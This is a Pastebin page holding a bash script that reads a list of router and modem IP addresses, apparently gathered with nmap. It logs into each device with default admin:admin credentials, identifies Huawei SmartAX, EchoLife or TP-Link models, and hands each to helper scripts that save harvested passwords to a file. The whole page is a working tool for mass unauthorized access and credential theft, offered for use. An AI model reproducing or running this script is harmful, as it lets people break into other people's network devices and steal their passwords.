Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # NOTE! Look for templates for this script in my pastebin @ pastebin.com/u/sxiii
- # you can prepare target list by using nmap with -p80 option, and after make it uniq
- # result will be in uniqips.txt file, you can run this script and input the name uniqips.txt when it will be requested
- savefile=passwords.txt
- username=admin
- password=admin
- x=0
- echo "This script crawls on gateway, modems, routers etc. using standard passwords and saves all valuable data from them."
- echo "By default script uses admin:admin combination to connect to hosts. You can change it in targetscan file."
- echo "Currently supported models: Huawei SmartAX MT880; TP-Link; EchoLife."
- echo "NOTE: All found passwords are saved in passwords.txt file in current directory!"
- echo "Please type-in the name of plain-text file containing IP addresses of gateway devices to gather data from..."
- read name
- total=`cat $name | grep -c ""`
- cat $name | while read target;
- do
- x=$((x+1))
- echo "Trying to recognize target $target... ($x/$total)"
- #echo $target >> processed.txt
- wget -q -t 1 -T 3 -O index.html http://$target/ --user=admin --password=admin
- if [[ "`cat index.html | grep -c "SmartAX"`" -gt "0" ]]; then
- bash smartax $target $savefile $username $password
- echo "Processing target $target (SmartAX)..."
- echo "Processing target $target (SmartAX)..." >> processed.txt
- fi
- if [[ "`cat index.html | grep -c "rpSysStatus.html"`" -gt "0" ]]; then
- bash echolife $target $savefile $username $password
- echo "Processing target $target (EchoLife)..."
- echo "Processing target $target (EchoLife)..." >> processed.txt
- fi
- if [[ "`cat index.html | grep -c "status/status_deviceinfo.htm"`" -gt "0" ]]; then
- bash tplink $target $savefile $username $password
- echo "Processing target $target (TP-Link)..."
- echo "Processing target $target (TP-Link)..." >> processed.txt
- fi
- rm index.html
- done
Advertisement
Add Comment
Please, Sign In to add comment